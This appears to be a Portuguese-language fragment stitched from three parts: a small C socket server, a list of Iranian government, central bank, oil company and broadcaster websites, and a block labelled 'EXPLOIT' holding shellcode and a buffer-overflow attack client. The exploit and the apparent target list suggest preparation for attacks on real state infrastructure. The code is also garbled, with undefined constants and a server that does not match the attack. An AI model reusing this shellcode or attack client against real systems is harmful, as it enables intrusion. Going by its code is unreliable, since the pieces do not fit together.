#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> void TrataMensagem(const char *Mens); int main() { int Sock, Novo; struct sockaddr_in Servidor, Cliente; socklen_t Tam; char Mens[512]; // Criar socket if ((Sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Erro ao criar o socket"); exit(1); } // Configurar endereço do servidor Servidor.sin_family = AF_INET; Servidor.sin_port = htons(8080); // Porta desejada Servidor.sin_addr.s_addr = INADDR_ANY; // Ligação do socket ao endereço do servidor if (bind(Sock, (struct sockaddr *)&Servidor, sizeof(Servidor)) == -1) { perror("Erro ao fazer bind"); exit(1); } // Escutar por conexões if (listen(Sock, 1) == -1) { perror("Erro ao escutar conexões"); exit(1); } while (1) { Tam = sizeof(struct sockaddr_in); // Aceitar nova conexão if ((Novo = accept(Sock, (struct sockaddr *)&Cliente, &Tam)) == -1) { perror("Erro ao aceitar conexão"); exit(1); } memset(Mens, 0, sizeof(Mens)); // Ler dados da conexão ssize_t bytesLidos = read(Novo, Mens, sizeof(Mens) - 1); if (bytesLidos <= 0) { perror("Erro ao ler dados da conexão"); exit(1); } // Tratar mensagem recebida TrataMensagem(Mens); // Fechar a conexão close(Novo); } return 0; } void TrataMensagem(const char *Mens) { const size_t BUFFER_SIZE = 512; char Buffer[BUFFER_SIZE]; strncpy(Buffer, Mens, BUFFER_SIZE - 1); Buffer[BUFFER_SIZE - 1] = '\0'; // Resto do código de tratamento da mensagem... }
- Presidência do Irã - http://www.president.ir/
- Parlamento do Irã - http://www.majlis.ir/
- Ministério dos Negócios Estrangeiros - http://en.mfa.ir/
- Departamento de Estado do Irã - http://www.mfa.gov.ir/
- Banco Central do Irã - http://www.cbi.ir/
- Ministério da Saúde e Educação Médica - http://www.mohme.gov.ir/
- Organização Nacional de Radiodifusão do Irã - http://www.irib.ir/
- Bolsa de valores do Irã - http://www.tsetmc.com/
- Corporação Nacional de Petróleo do Irã - http://www.nioc.ir/
- Ministério da Cultura e Orientação Islâmica - http://www.farhang.gov.ir/
EXPLOIT ataque segundo codigo
unsigned char cod[] = { 0xeb, 0x1f, 0x90, 0x90, 0x90, 0x90, 0x5e, 0x31, 0xc0, 0x88, 0x46, 0x07, 0x89, 0xf3, 0xb0, 0x08, 0xb9, 0xff, 0xf1, 0xff, 0xff, 0xcd, 0x80, 0xb0, 0x01, 0x31, 0xdb, 0xcd, 0x80, 0x90, 0x90, 0x90, 0x90, 0xe8, 0xe0, 0xff, 0xff, 0xff }; char comando[] = "/bin/sx"; int main(int argc, char **argv) { unsigned char Buffer[TAM_BUFFER + 9]; long end; int Sock; struct sockaddr_in sin; end = 0xbffff71c; memset(Buffer, 'A', TAM_BUFFER); memcpy(Buffer, cod, sizeof(cod)); strncat(Buffer, comando, sizeof(comando)); Buffer[strlen(Buffer)] = 'A'; *(long *)&Buffer[TAM_BUFFER] = 0xcacacaca; *(long *)&Buffer[TAM_BUFFER+4] = end; Buffer[TAM_BUFFER+8] = 0; Sock = socket(AF_INET, SOCK_STREAM, 0); if (Sock < 0) { perror("Erro ao criar o socket"); return 1; } sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) { perror("Erro ao conectar"); return 1; } write(Sock, Buffer, TAM_BUFFER + 20); close(Sock); return 0; }